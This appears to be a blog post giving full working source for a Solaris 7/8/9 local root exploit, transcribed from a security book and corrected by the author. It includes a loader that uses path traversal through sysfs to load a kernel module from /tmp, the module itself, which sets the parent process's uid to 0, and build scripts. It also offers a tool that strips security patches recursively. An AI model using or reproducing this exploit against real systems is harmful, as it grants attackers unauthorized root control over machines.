Solaris 7 8 9 modload user upload kernel module

“The Shellcoder’s Handbook” comes supplied with a ready exploit against http://www.securitytracker.com/id/1008833
But, it has some problems. the kernel module compiling script is broken (needs -c flag), else it will bitch about _init and _fini being defined twice.. This script uses the Sun Studio (11) cc compiler, but gcc can be used too (untested). https://www.thc.org/papers/slkm-1.0.html suggests

gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c 
ld -o flkm -r flkm.o

To test this exploit (which I did successfully, yes this code works as is), I had to back down my patches on my Solaris box.. There is not automatic tool to uninstall patch dependencies.. So I built my own:

#include <stdio.h>
#include <strings.h>
#include <unistd.h>

char logtime_str[8192];
char mycmd[1024];
char deeplist[8192][25];
int curcount=0;

char *doit(char *cmd)
{
  FILE *fp;
  int status;
  char *str;
   
  /* Open the command for reading. */
  fp = popen(cmd, "r");
  if (fp == NULL) {
    printf("Failed to run command\n" );
    return NULL;
  }
 
  /* Read the output a line at a time - output it. */
  while (fgets(logtime_str, sizeof(logtime_str)-1, fp) != NULL) {
    //logtime_str[strlen(logtime_str)-1]=0; // take out \n
    printf("%s", logtime_str);
    if ( (str=strstr(logtime_str, "required to be installed by patch ")) )
    {
      strcpy(deeplist[curcount++], cmd);
      str+=strlen("required to be installed by patch ");
      str[9]=0;
      //sprintf ()
      return str;
    } 

  }
  return NULL;
  
}

int main(int argc, char **argv)
{
  if (argc != 2)
    exit(1);

  printf ("Removing Patch %s", argv[1]);
  sprintf(mycmd, "patchrm %s" , argv[1]); //108528-29");
  while (1)
  {
    char *newstr;
    if ( (newstr=doit(mycmd)) )
    {
      sprintf(mycmd, "patchrm %s", newstr);
      printf ("%s\n", mycmd);
      printf ("Removing Patch %s", mycmd);
    }
    else
    {
      if (curcount)
      {
        strcpy ( mycmd, deeplist[--curcount] );
        bzero (deeplist[curcount], 25);
      }
      else break;
    }
  }
  return 0;
}

in my case, I needed to uninstall 108528-29, and there were a lot of nested dependencies involved, ALL having to be uninstalled manually without this tool above.. So now I just do:

./a.out 108528-29

And BAM.. auto uninstall..

WARNING: Back-pedaling thru patches is dangerous!! My SSHD doesn’t work correctly now :[ So now I’m reinstalling the patch cluster x.x

Now, the source code to the exploit… Since this source code was not found anywhere, I had to transcribe it all myself…

o0o0.c

#include <stdio.h>
#include <sys/fstyp.h>
#include <sys/fsid.h>
#include <sys/systeminfo.h>

/* int sysfs(int opcode, const char *fsname); */

int main(int argc, char **argv)
{
  char modname[] = "../../../tmp/o0";
  char buf[4096];
  char ver[32], *ptr;
  int sixtyfour = 0;

  memset((char *) buf, 0x00, 4096);
  if (sysinfo(SI_ISALIST, (char *) buf, 4095) < 0)
  {
    perror("sysinfo");
    exit (0);
  }

  if (strstr(buf, "sparcv9"))
    sixtyfour = 1;

  memset( (char *) ver, 0x00, 32);
  if (sysinfo(SI_RELEASE, (char *) ver, 32) < 0)
  {
    perror("sysinfo");
    exit (0);
  }

  ptr = (char *) strstr(ver, ".");
  if (!ptr)
  {
    fprintf(stderr, "can't grab release version!\n");
    exit (0);
  }
  ptr++;

  printf ("%s\n",ptr);
  //return 0;

  memset((char *) buf, 0x00, 4096);
  if (sixtyfour)
    snprintf(buf, sizeof(buf)-1, "cp ./o064 /tmp/sparcv9/o0"/*, ptr*/);
  else
    snprintf(buf, sizeof(buf)-1, "cp ./o032 /tmp/o0"/*, ptr*/);

  if (sixtyfour)
  {
    if (mkdir("/tmp/sparcv9", 0755) < 0)
    {
      perror ("mkdir");
      exit(0);
    }
  }

  system(buf);
  sysfs(GETFSIND, modname);

  if (sixtyfour)
    system("/usr/bin/rm -rf /tmp/sparcv9");
  else
    system("/usr/bin/rm -f /tmp/o0");
}

moka.c

#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/cred.h>
#include <sys/types.h>
#include <sys/proc.h>
#include <sys/procfs.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

int g3mm3(void);

int g3mm3()
{
  register proc_t *p;
  register proc_t *pp;
  cred_t *cr, *newcr;

  mutex_enter(&pidlock);
  for (p=practive; p!=NULL; p = p->p_next)
  {
    if (strstr(p->p_user.u_comm, (char *) "o0o0"))
    {
      pp = p->p_parent;
      newcr = crget();

      mutex_enter(&pp->p_crlock);
      cr = pp->p_cred;
      crcopy_to(cr,newcr);
      pp->p_cred = newcr;
      newcr->cr_uid = 0;
      mutex_exit(&pp->p_crlock);
    }
    continue;
  }
  mutex_exit(&pidlock);

  return 1;
}

static struct modlmisc modlmisc = 
{
  &mod_miscops,
  "u_comm"
};

static struct modlinkage modlinkage = 
{
  MODREV_1,
  (void *) &modlmisc,
  NULL
};

int _init(void)
{
  int i;

  if ((i = mod_install(&modlinkage)) != 0)
    //cmn_err(CE_NOTE, "");
    ;
#ifdef _DEBUG
  else
    cmn_err(CE_NOTE, "o0o0o0o0 installed o0o0o0o0");
  #endif

    i = g3mm3();
    return i;
}

int _info(struct modinfo *modinfop)
{
  return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
  int i;

  if ((i = mod_remove(&modlinkage)) != 0)
    //cmn_err (CE_NOTE, "not removed");
    ;
#ifdef _DEBUG
  else
    cmn_err(CE_NOTE, "removed");
#endif

  return i;
}

make_64.sh

/opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v9 -DUSE_KERNEL_UTILS -D_KERNEL -D_B64 -c moka.c
ld -o moka -r moka.o
rm moka.o
mv moka o064
gcc -o o0o0 o0o0.c
/usr/ccs/bin/strip o0o0 o064

Note: There were inconsistencies with the source code that I took care of.. Apparently the writers of the Shellcoder’s Handbook didn’t give 2 fucks about this one…

Leave a Reply

Your email address will not be published. Required fields are marked *

*